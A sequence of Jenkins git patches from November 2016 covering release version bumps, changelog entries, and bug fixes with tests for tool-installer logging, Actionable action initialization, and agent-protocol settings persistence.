ddd786df54..8ec6e0b1f7 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.29 + 2.30-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 1ece5d1dd6..e605ded2fc 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.29 + 2.30-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index 8a9aa15dc1..b61db5774f 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.29 + 2.30-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.29 + HEAD diff --git a/test/pom.xml b/test/pom.xml index 224effdbf6..dcfb346d65 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.29 + 2.30-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index e041bb64d8..e61e33ad1e 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.29 + 2.30-SNAPSHOT jenkins-war -- GitLab From 96b5390ef4b3aa5fc6eb12bef44fc1753532966b Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 6 Nov 2016 18:50:09 -0800 Subject: [PATCH 287/712] updated changelog for release --- changelog.html | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index a11292f8ed..45913c3c84 100644 --- a/changelog.html +++ b/changelog.html @@ -55,6 +55,11 @@ Upcoming changes +

    What's new in 2.29 (2016/11/06)

    • Performance: Optimize log retrieval logic for large log files. @@ -79,7 +84,6 @@ Upcoming changes Internal: Jelly attribute documentation now supports the since tag. (Stapler pull #84)
    -

    What's new in 2.28 (2016/10/30)

    • -- GitLab From e85e3e2b907f894b536332d80b997711f73c4174 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Tue, 25 Oct 2016 11:13:55 +0200 Subject: [PATCH 288/712] [JENKINS-26940] Print message when installer isn't applicable (#2598) * [JENKINS-26940] Print message when installer isn't applicable * [JENKINS-26940] Only print when none found, add test (cherry picked from commit ae29e6b2463754778c3988e62292a07a846ffe57) --- .../hudson/tools/InstallerTranslator.java | 12 ++++++ .../hudson/tools/Messages.properties | 1 + .../hudson/tools/InstallerTranslatorTest.java | 39 +++++++++++++++++++ 3 files changed, 52 insertions(+) diff --git a/core/src/main/java/hudson/tools/InstallerTranslator.java b/core/src/main/java/hudson/tools/InstallerTranslator.java index 87d1dcd1e3..fd45212bd7 100644 --- a/core/src/main/java/hudson/tools/InstallerTranslator.java +++ b/core/src/main/java/hudson/tools/InstallerTranslator.java @@ -28,6 +28,7 @@ import hudson.Extension; import hudson.model.Node; import hudson.model.TaskListener; import java.io.IOException; +import java.util.ArrayList; import java.util.Map; import java.util.WeakHashMap; import java.util.concurrent.Semaphore; @@ -50,6 +51,9 @@ public class InstallerTranslator extends ToolLocationTranslator { if (isp == null) { return null; } + + ArrayList inapplicableInstallersMessages = new ArrayList(); + for (ToolInstaller installer : isp.installers) { if (installer.appliesTo(node)) { Semaphore semaphore; @@ -69,8 +73,16 @@ public class InstallerTranslator extends ToolLocationTranslator { } finally { semaphore.release(); } + } else { + inapplicableInstallersMessages.add(Messages.CannotBeInstalled( + installer.getDescriptor().getDisplayName(), + tool.getName(), + node.getDisplayName())); } } + for (String message : inapplicableInstallersMessages) { + log.getLogger().println(message); + } return null; } diff --git a/core/src/main/resources/hudson/tools/Messages.properties b/core/src/main/resources/hudson/tools/Messages.properties index dabfa4c840..a59e064de7 100644 --- a/core/src/main/resources/hudson/tools/Messages.properties +++ b/core/src/main/resources/hudson/tools/Messages.properties @@ -37,3 +37,4 @@ JDKInstaller.DescriptorImpl.displayName=Install from java.sun.com JDKInstaller.DescriptorImpl.doCheckId=Define JDK ID JDKInstaller.DescriptorImpl.doCheckAcceptLicense=You must agree to the license to download the JDK. ToolDescriptor.NotADirectory={0} is not a directory on the Jenkins master (but perhaps it exists on some agents) +CannotBeInstalled=Installer "{0}" cannot be used to install "{1}" on the node "{2}" diff --git a/test/src/test/java/hudson/tools/InstallerTranslatorTest.java b/test/src/test/java/hudson/tools/InstallerTranslatorTest.java index 3d9e2a58fe..d38f780972 100644 --- a/test/src/test/java/hudson/tools/InstallerTranslatorTest.java +++ b/test/src/test/java/hudson/tools/InstallerTranslatorTest.java @@ -35,6 +35,8 @@ import hudson.slaves.RetentionStrategy; import hudson.tasks.Shell; import hudson.util.StreamTaskListener; import java.nio.charset.Charset; +import java.util.ArrayList; +import java.util.Arrays; import java.util.Collections; import org.junit.Test; import static org.junit.Assert.*; @@ -98,4 +100,41 @@ public class InstallerTranslatorTest { r.assertLogContains("/opt/jdk1", b6); } + @Issue("JENKINS-26940") + @Test + public void testMessageLoggedWhenNoInstallerFound() throws Exception { + final CommandInstaller ci = new CommandInstaller("wrong1", "echo hello", "/opt/jdk"); + final BatchCommandInstaller bci = new BatchCommandInstaller("wrong2", "echo hello", "/opt/jdk2"); + InstallSourceProperty isp = new InstallSourceProperty(Arrays.asList(ci, bci)); + + JDK jdk = new JDK("jdk", null, Collections.singletonList(isp)); + r.jenkins.getJDKs().add(jdk); + + + FreeStyleProject p = r.createFreeStyleProject(); + p.setJDK(jdk); + p.getBuildersList().add(new Shell("echo $JAVA_HOME")); + FreeStyleBuild b1 = r.buildAndAssertSuccess(p); + r.assertLogContains(hudson.tools.Messages.CannotBeInstalled(ci.getDescriptor().getDisplayName(), jdk.getName(), r.jenkins.getDisplayName()), b1); + r.assertLogContains(hudson.tools.Messages.CannotBeInstalled(bci.getDescriptor().getDisplayName(), jdk.getName(), r.jenkins.getDisplayName()), b1); + } + + @Issue("JENKINS-26940") + @Test + public void testNoMessageLoggedWhenAnyInstallerFound() throws Exception { + final CommandInstaller ci = new CommandInstaller("wrong1", "echo hello", "/opt/jdk"); + final CommandInstaller ci2 = new CommandInstaller("master", "echo hello", "/opt/jdk2"); + InstallSourceProperty isp = new InstallSourceProperty(Arrays.asList(ci, ci2)); + + JDK jdk = new JDK("jdk", null, Collections.singletonList(isp)); + r.jenkins.getJDKs().add(jdk); + + + FreeStyleProject p = r.createFreeStyleProject(); + p.setJDK(jdk); + p.getBuildersList().add(new Shell("echo $JAVA_HOME")); + FreeStyleBuild b1 = r.buildAndAssertSuccess(p); + r.assertLogNotContains(ci.getDescriptor().getDisplayName(), b1); + } + } -- GitLab From b0aca1c474083cbdadc0b65a24e06cfec96506b3 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Mon, 7 Nov 2016 12:01:41 +0100 Subject: [PATCH 289/712] Changelog: Indicate that JENKINS-39414 is not completely fixed in 2.29 --- changelog.html | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/changelog.html b/changelog.html index 45913c3c84..60f28c224f 100644 --- a/changelog.html +++ b/changelog.html @@ -64,10 +64,10 @@ Upcoming changes
    • Performance: Optimize log retrieval logic for large log files. (issue 39535) -
    • +
    • Integration of Stapler 1.246 caused regressions in plugins depending on Ruby Runtime Plugin. - Upgraded to Stapler 1.247 with a fix. - (issue 39414) + Upgraded to Stapler 1.247 with a partial fix. + (issue 39414, partial fix)
    • Jenkins startup does not fail if one of -- GitLab From 07884f7cc1a19d317a2726cdf953b29268398afa Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Mon, 7 Nov 2016 22:14:13 +0100 Subject: [PATCH 290/712] Changelog: Add the 2.29 release notice (#2623) * Changelog: Add the 2.29 release notice * Fix the link --- changelog.html | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 60f28c224f..b00b2a727d 100644 --- a/changelog.html +++ b/changelog.html @@ -60,7 +60,13 @@ Upcoming changes

    What's new in 2.29 (2016/11/06)

    -
      +

      + Warning! This release is not recommended for use due to + issue 39555 + and issue 39414. + We are working on the out-of-order release (discussion). +

      +
      • Performance: Optimize log retrieval logic for large log files. (issue 39535) -- GitLab From a63b50f4dfbbb6a042765be8f26d7f76810a1cd4 Mon Sep 17 00:00:00 2001 From: Sam Van Oort Date: Mon, 7 Nov 2016 18:06:53 -0500 Subject: [PATCH 291/712] [FIXED JENKINS-39555] Don't do the actions initialization by helper method (#2624) * Coarse fix for JENKINS-39555 - don't do the actions initialization by helper method * Small cleanup of docs, import * Testcase * Review changes --- .../main/java/hudson/model/Actionable.java | 33 +++-------- .../java/hudson/model/ActionableTest.java | 55 +++++++++++++++++++ 2 files changed, 64 insertions(+), 24 deletions(-) diff --git a/core/src/main/java/hudson/model/Actionable.java b/core/src/main/java/hudson/model/Actionable.java index 33e10198c6..654c6719a4 100644 --- a/core/src/main/java/hudson/model/Actionable.java +++ b/core/src/main/java/hudson/model/Actionable.java @@ -36,7 +36,6 @@ import java.util.logging.Logger; import javax.annotation.Nonnull; import javax.annotation.Nullable; -import javax.annotation.concurrent.NotThreadSafe; import jenkins.model.ModelObjectWithContextMenu; import jenkins.model.TransientActionFactory; import org.kohsuke.stapler.StaplerRequest; @@ -77,24 +76,12 @@ public abstract class Actionable extends AbstractModelObject implements ModelObj */ @Deprecated public List getActions() { - return getOrCreateActions(); - } - - /** - * We need to handle the initialization of the actions list in Actionable so that child classes that override - * getActions() for historical reasons do not have to override the manipulation methods: {@link #addAction(Action)}, - * {@link #replaceAction(Action)}, {@link #removeAction(Action)}, etc. - * @return the CopyOnWriteArrayList of persisted actions. - */ - private CopyOnWriteArrayList getOrCreateActions() { - if(actions == null) { - synchronized (this) { - if(actions == null) { - actions = new CopyOnWriteArrayList(); - } + synchronized (this) { + if(actions == null) { + actions = new CopyOnWriteArrayList(); } + return actions; } - return actions; } /** @@ -137,8 +124,6 @@ public abstract class Actionable extends AbstractModelObject implements ModelObj * Adds a new action. * Note: calls to {@link #getAllActions()} that happen before calls to this method may not see the update. * Note: this method will always modify the actions - * - * The default implementation is mostly equivalent to the call chain {@code getActions().add(a)}. */ @SuppressWarnings({"ConstantConditions","deprecation"}) @SuppressFBWarnings("RCN_REDUNDANT_NULLCHECK_OF_NONNULL_VALUE") @@ -146,7 +131,7 @@ public abstract class Actionable extends AbstractModelObject implements ModelObj if(a==null) { throw new IllegalArgumentException("Action must be non-null"); } - getOrCreateActions().add(a); + getActions().add(a); } /** @@ -191,7 +176,7 @@ public abstract class Actionable extends AbstractModelObject implements ModelObj } // CopyOnWriteArrayList does not support Iterator.remove, so need to do it this way: List old = new ArrayList(1); - List current = getOrCreateActions(); + List current = getActions(); boolean found = false; for (Action a2 : current) { if (!found && a.equals(a2)) { @@ -226,7 +211,7 @@ public abstract class Actionable extends AbstractModelObject implements ModelObj return false; } // CopyOnWriteArrayList does not support Iterator.remove, so need to do it this way: - return getOrCreateActions().removeAll(Collections.singleton(a)); + return getActions().removeAll(Collections.singleton(a)); } /** @@ -250,7 +235,7 @@ public abstract class Actionable extends AbstractModelObject implements ModelObj } // CopyOnWriteArrayList does not support Iterator.remove, so need to do it this way: List old = new ArrayList(); - List current = getOrCreateActions(); + List current = getActions(); for (Action a : current) { if (clazz.isInstance(a)) { old.add(a); @@ -285,7 +270,7 @@ public abstract class Actionable extends AbstractModelObject implements ModelObj } // CopyOnWriteArrayList does not support Iterator.remove, so need to do it this way: List old = new ArrayList(); - List current = getOrCreateActions(); + List current = getActions(); boolean found = false; for (Action a1 : current) { if (!found) { diff --git a/core/src/test/java/hudson/model/ActionableTest.java b/core/src/test/java/hudson/model/ActionableTest.java index 654b08e67e..550a885396 100644 --- a/core/src/test/java/hudson/model/ActionableTest.java +++ b/core/src/test/java/hudson/model/ActionableTest.java @@ -24,13 +24,18 @@ package hudson.model; +import java.util.ArrayList; import java.util.Arrays; import static org.hamcrest.CoreMatchers.is; import static org.junit.Assert.*; import java.util.Collections; +import java.util.List; + +import org.junit.Assert; import org.junit.Test; +import org.jvnet.hudson.test.Issue; public class ActionableTest { @@ -48,6 +53,56 @@ public class ActionableTest { assertEquals(Arrays.asList(a2, a3), thing.getActions()); } + static class ActionableOverride extends Actionable { + ArrayList specialActions = new ArrayList(); + + @Override + public String getDisplayName() { + return "nope"; + } + + @Override + public String getSearchUrl() { + return "morenope"; + } + + @Override + public List getActions() { + return specialActions; + } + } + + @SuppressWarnings("deprecation") + @Issue("JENKINS-39555") + @Test + public void testExtensionOverrides() throws Exception { + ActionableOverride myOverridden = new ActionableOverride(); + InvisibleAction invis = new InvisibleAction() { + }; + myOverridden.addAction(invis); + Assert.assertArrayEquals(new Object[]{invis}, myOverridden.specialActions.toArray()); + Assert.assertArrayEquals(new Object[]{invis}, myOverridden.getActions().toArray()); + + myOverridden.getActions().remove(invis); + Assert.assertArrayEquals(new Object[]{}, myOverridden.specialActions.toArray()); + Assert.assertArrayEquals(new Object[]{}, myOverridden.getActions().toArray()); + + myOverridden.addAction(invis); + myOverridden.removeAction(invis); + Assert.assertArrayEquals(new Object[]{}, myOverridden.specialActions.toArray()); + Assert.assertArrayEquals(new Object[]{}, myOverridden.getActions().toArray()); + + InvisibleAction invis2 = new InvisibleAction() {}; + myOverridden.addOrReplaceAction(invis2); + Assert.assertArrayEquals(new Object[]{invis2}, myOverridden.specialActions.toArray()); + Assert.assertArrayEquals(new Object[]{invis2}, myOverridden.getActions().toArray()); + + myOverridden.addOrReplaceAction(invis); + myOverridden.addOrReplaceAction(invis); + Assert.assertArrayEquals(new Object[]{invis2, invis}, myOverridden.specialActions.toArray()); + Assert.assertArrayEquals(new Object[]{invis2, invis}, myOverridden.getActions().toArray()); + } + @SuppressWarnings("deprecation") @Test public void addOrReplaceAction() { -- GitLab From 5aed788deef350ffd1c4c3b1ce87ed76f48b5a4c Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Mon, 7 Nov 2016 18:07:21 -0500 Subject: [PATCH 292/712] [FIXED JENKINS-39414] Integrating Stapler 1.248. (#2622) --- core/pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/pom.xml b/core/pom.xml index e605ded2fc..054f63258d 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -39,7 +39,7 @@ THE SOFTWARE. true - 1.247 + 1.248 2.5.6.SEC03 2.4.7 -- GitLab From 3e2e01717976a1f1221874bfd576429c5c48b8a6 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Tue, 8 Nov 2016 00:07:40 +0100 Subject: [PATCH 293/712] [JENKINS-39465] - Fix the AgentProtocol settings persistency handling (#2621) * [JENKINS-39465] - Tweak processing of enabled and disabled protocols in Jenkins instance Due to whatever reason, without a definition of an array recipient field the data goes to the disk in the following way: ``` JNLP3-connect JNLP4-connect ``` It is supposed to processed by Implicit array correctly, but it does not actually happen. With a fix the data is being stored in another format: ``` JNLP3-connect JNLP4-connect ``` This data now works correctly and gets deserialized correctly. readResolve() just adds a fallback for the case when Implicit array handling starts behaving correctly (?). * [JENKINS-39465] - Add configuration roundtrip tests * [JENKINS-39465] - Jenkins#agentProtocols cache must be invalidated when we reload the configuration * [JENKINS-39465] - Remove obsolete comment from Tests --- core/src/main/java/jenkins/model/Jenkins.java | 24 +++- .../test/java/jenkins/model/JenkinsTest.java | 121 ++++++++++++++++++ 2 files changed, 143 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index 427a782adf..266a3f9504 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -617,6 +617,11 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve */ @CheckForNull private List disabledAgentProtocols; + /** + * @deprecated Just a temporary buffer for XSTream migration code from JENKINS-39465, do not use + */ + @Deprecated + private transient String[] _disabledAgentProtocols; /** * The TCP agent protocols that are {@link AgentProtocol#isOptIn()} and explicitly enabled. @@ -626,6 +631,11 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve */ @CheckForNull private List enabledAgentProtocols; + /** + * @deprecated Just a temporary buffer for XSTream migration code from JENKINS-39465, do not use + */ + @Deprecated + private transient String[] _enabledAgentProtocols; /** * The TCP agent protocols that are enabled. Built from {@link #disabledAgentProtocols} and @@ -1010,6 +1020,16 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve if (SLAVE_AGENT_PORT_ENFORCE) { slaveAgentPort = getSlaveAgentPortInitialValue(slaveAgentPort); } + if (disabledAgentProtocols == null && _disabledAgentProtocols != null) { + disabledAgentProtocols = Arrays.asList(_disabledAgentProtocols); + _disabledAgentProtocols = null; + } + if (enabledAgentProtocols == null && _enabledAgentProtocols != null) { + enabledAgentProtocols = Arrays.asList(_enabledAgentProtocols); + _enabledAgentProtocols = null; + } + // Invalidate the protocols cache after the reload + agentProtocols = null; return this; } @@ -5027,8 +5047,8 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve // for backward compatibility with <1.75, recognize the tag name "view" as well. XSTREAM.alias("view", ListView.class); XSTREAM.alias("listView", ListView.class); - XSTREAM.addImplicitCollection(Jenkins.class, "disabledAgentProtocols", "disabledAgentProtocol", String.class); - XSTREAM.addImplicitCollection(Jenkins.class, "enabledAgentProtocols", "enabledAgentProtocol", String.class); + XSTREAM.addImplicitArray(Jenkins.class, "_disabledAgentProtocols", "disabledAgentProtocol"); + XSTREAM.addImplicitArray(Jenkins.class, "_enabledAgentProtocols", "enabledAgentProtocol"); XSTREAM2.addCriticalField(Jenkins.class, "securityRealm"); XSTREAM2.addCriticalField(Jenkins.class, "authorizationStrategy"); // this seems to be necessary to force registration of converter early enough diff --git a/test/src/test/java/jenkins/model/JenkinsTest.java b/test/src/test/java/jenkins/model/JenkinsTest.java index 27528d2e04..8e88f7f0e3 100644 --- a/test/src/test/java/jenkins/model/JenkinsTest.java +++ b/test/src/test/java/jenkins/model/JenkinsTest.java @@ -25,7 +25,10 @@ package jenkins.model; import static org.hamcrest.MatcherAssert.assertThat; import static org.hamcrest.Matchers.containsString; +import static org.hamcrest.Matchers.greaterThan; import static org.hamcrest.Matchers.equalTo; +import static org.hamcrest.Matchers.hasItem; +import static org.hamcrest.Matchers.not; import static org.junit.Assert.assertTrue; import static org.junit.Assert.assertFalse; import static org.junit.Assert.assertEquals; @@ -75,6 +78,12 @@ import org.mockito.Mockito; import java.io.IOException; import java.net.HttpURLConnection; import java.net.URL; +import java.util.Arrays; +import java.util.Collections; +import java.util.HashSet; +import java.util.Iterator; +import java.util.Set; +import org.junit.Assume; /** * @author kingfai @@ -471,4 +480,116 @@ public class JenkinsTest { throw new IOException("Something happened (the listener always throws this exception)"); } } + + @Test + @Issue("JENKINS-39465") + public void agentProtocols_singleEnable_roundtrip() throws Exception { + final Set defaultProtocols = Collections.unmodifiableSet(j.jenkins.getAgentProtocols()); + Assume.assumeThat("We assume that JNLP3-connect is disabled", + defaultProtocols, not(hasItem("JNLP3-connect"))); + + final Set newProtocols = new HashSet<>(defaultProtocols); + newProtocols.add("JNLP3-connect"); + j.jenkins.setAgentProtocols(newProtocols); + j.jenkins.save(); + final Set agentProtocolsBeforeReload = j.jenkins.getAgentProtocols(); + assertThat("JNLP3-connect must be enabled before the roundtrip", + j.jenkins.getAgentProtocols(), hasItem("JNLP3-connect")); + + j.jenkins.reload(); + + final Set reloadedProtocols = j.jenkins.getAgentProtocols(); + assertFalse("The protocol list must have been really reloaded", agentProtocolsBeforeReload == reloadedProtocols); + assertThat("We should have additional enabled protocol", + reloadedProtocols.size(), equalTo(defaultProtocols.size() + 1)); + assertThat("JNLP3-connect must be enabled after the roundtrip", + reloadedProtocols, hasItem("JNLP3-connect")); + } + + @Test + @Issue("JENKINS-39465") + public void agentProtocols_multipleDisable_roundtrip() throws Exception { + final Set defaultProtocols = Collections.unmodifiableSet(j.jenkins.getAgentProtocols()); + Assume.assumeThat("At least one protocol is enabled", defaultProtocols.size(), greaterThan(0)); + + final String protocolToDisable = defaultProtocols.iterator().next(); + + final Set newProtocols = new HashSet<>(defaultProtocols); + newProtocols.remove(protocolToDisable); + j.jenkins.setAgentProtocols(newProtocols); + j.jenkins.save(); + assertThat(protocolToDisable + " must be disabled before the roundtrip", + j.jenkins.getAgentProtocols(), not(hasItem(protocolToDisable))); + final Set agentProtocolsBeforeReload = j.jenkins.getAgentProtocols(); + j.jenkins.reload(); + + assertFalse("The protocol list must have been really refreshed", agentProtocolsBeforeReload == j.jenkins.getAgentProtocols()); + assertThat("We should have disabled one protocol", + j.jenkins.getAgentProtocols().size(), equalTo(defaultProtocols.size() - 1)); + assertThat(protocolToDisable + " must be disabled after the roundtrip", + j.jenkins.getAgentProtocols(), not(hasItem(protocolToDisable))); + } + + @Test + @Issue("JENKINS-39465") + public void agentProtocols_multipleEnable_roundtrip() throws Exception { + final Set defaultProtocols = Collections.unmodifiableSet(j.jenkins.getAgentProtocols()); + Assume.assumeThat("We assume that JNLP3-connect is disabled", + defaultProtocols, not(hasItem("JNLP3-connect"))); + Assume.assumeThat("We assume that JNLP4-connect is disabled", + defaultProtocols, not(hasItem("JNLP4-connect"))); + + final Set newProtocols = new HashSet<>(defaultProtocols); + newProtocols.add("JNLP3-connect"); + newProtocols.add("JNLP4-connect"); + j.jenkins.setAgentProtocols(newProtocols); + j.jenkins.save(); + final Set agentProtocolsBeforeReload = j.jenkins.getAgentProtocols(); + assertThat("JNLP3-connect must be enabled before the roundtrip", + j.jenkins.getAgentProtocols(), hasItem("JNLP3-connect")); + assertThat("JNLP4-connect must be enabled before the roundtrip", + j.jenkins.getAgentProtocols(), hasItem("JNLP4-connect")); + + j.jenkins.reload(); + + final Set reloadedProtocols = j.jenkins.getAgentProtocols(); + assertFalse("The protocol list must have been really reloaded", agentProtocolsBeforeReload == reloadedProtocols); + assertThat("We should have two additional enabled protocols", + reloadedProtocols.size(), equalTo(defaultProtocols.size() + 2)); + assertThat("JNLP3-connect must be enabled after the roundtrip", + reloadedProtocols, hasItem("JNLP3-connect")); + assertThat("JNLP3-connect must be enabled after the roundtrip", + reloadedProtocols, hasItem("JNLP4-connect")); + } + + @Test + @Issue("JENKINS-39465") + public void agentProtocols_singleDisable_roundtrip() throws Exception { + final Set defaultProtocols = Collections.unmodifiableSet(j.jenkins.getAgentProtocols()); + Assume.assumeThat("At least two protocol should be enabled", defaultProtocols.size(), greaterThan(1)); + + Iterator iterator = defaultProtocols.iterator(); + final String protocolToDisable1 = iterator.next(); + final String protocolToDisable2 = iterator.next(); + + final Set newProtocols = new HashSet<>(defaultProtocols); + newProtocols.remove(protocolToDisable1); + newProtocols.remove(protocolToDisable2); + j.jenkins.setAgentProtocols(newProtocols); + j.jenkins.save(); + assertThat(protocolToDisable1 + " must be disabled before the roundtrip", + j.jenkins.getAgentProtocols(), not(hasItem(protocolToDisable1))); + assertThat(protocolToDisable2 + " must be disabled before the roundtrip", + j.jenkins.getAgentProtocols(), not(hasItem(protocolToDisable2))); + final Set agentProtocolsBeforeReload = j.jenkins.getAgentProtocols(); + j.jenkins.reload(); + + assertFalse("The protocol list must have been really reloaded", agentProtocolsBeforeReload == j.jenkins.getAgentProtocols()); + assertThat("We should have disabled two protocols", + j.jenkins.getAgentProtocols().size(), equalTo(defaultProtocols.size() - 2)); + assertThat(protocolToDisable1 + " must be disaabled after the roundtrip", + j.jenkins.getAgentProtocols(), not(hasItem(protocolToDisable1))); + assertThat(protocolToDisable2 + " must be disaabled after the roundtrip", + j.jenkins.getAgentProtocols(), not(hasItem(protocolToDisable2))); + } } -- GitLab From dc6280b946a788ec5df29dd8b9a4a4e72e75ebb0 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Tue, 8 Nov 2016 00:28:02 +0100 Subject: [PATCH 294/712] Changelog: Noting #2624, #2622, #2621 --- changelog.html | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index b00b2a727d..9dde0a4b86 100644 --- a/changelog.html +++ b/changelog.html @@ -56,7 +56,18 @@ Upcoming changes

        What's new in 2.29 (2016/11/06)

        -- GitLab From 3065058ef69713a5052ec22c54f4f2cb82aeba6f Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Tue, 8 Nov 2016 00:36:13 +0100 Subject: [PATCH 295/712] Changelog: #2622 is expected to be a final fix --- changelog.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 9dde0a4b86..366205c523 100644 --- a/changelog.html +++ b/changelog.html @@ -62,7 +62,7 @@ Upcoming changes (issue 39555, regression in 2.29)
      • Integration of Stapler 1.246 caused regressions in plugins depending on Ruby Runtime Plugin. - Upgraded to Stapler 1.248 with a partial fix. + Upgraded to Stapler 1.248 with a fix. (issue 39414, regression in 2.28)
      • Custom remoting enable/disable settings were not properly persisted on the disk and then reloaded. -- GitLab From 8ffc4949c357c74d15adae167300b6fd9b65034c Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Mon, 7 Nov 2016 18:58:43 -0800 Subject: [PATCH 296/712] [maven-release-plugin] prepare release jenkins-2.30 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 8ec6e0b1f7..dff4cfa9fe 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.30-SNAPSHOT + 2.30 cli diff --git a/core/pom.xml b/core/pom.xml index 054f63258d..7eec81c7fa 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.30-SNAPSHOT + 2.30 jenkins-core diff --git a/pom.xml b/pom.xml index b61db5774f..ab142c622e 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.30-SNAPSHOT + 2.30 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.30 diff --git a/test/pom.xml b/test/pom.xml index dcfb346d65..25856e9261 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.30-SNAPSHOT + 2.30 test diff --git a/war/pom.xml b/war/pom.xml index e61e33ad1e..8a9e1e1be0 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.30-SNAPSHOT + 2.30 jenkins-war -- GitLab From 55f563b26b9671808efc8fac8c4e3a589678cb0f Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Mon, 7 Nov 2016 18:58:43 -0800 Subject: [PATCH 297/712] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index dff4cfa9fe..70f83cbbec 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.30 + 2.31-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 7eec81c7fa..5e0673544c 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.30 + 2.31-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index ab142c622e..52d7cbe5a9 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.30 + 2.31-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.30 + HEAD diff --git a/test/pom.xml b/test/pom.xml index 25856e9261..32af02cabb 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.30 + 2.31-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index 8a9e1e1be0..4da5f76729 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.30 + 2.31-SNAPSHOT jenkins-war -- GitLab From 283938394d4dd07f36ae0d4a55bf844e8850f50c Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Mon, 7 Nov 2016 19:06:05 -0800 Subject: [PATCH 298/712] updated changelog for release --- changelog.html | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 366205c523..e6ceb9a4a9 100644 --- a/changelog.html +++ b/changelog.html @@ -55,6 +55,11 @@ Upcoming changes +

        What's new in 2.30 (2016/11/07)

        • Adjust incompatible Actionable initialization changes made for issue 39404). @@ -69,7 +74,6 @@ Upcoming changes If the option has been configured in Jenkins starting from 2.16, a reconfiguration may be required. (issue 39465)
        -

        What's new in 2.29 (2016/11/06)

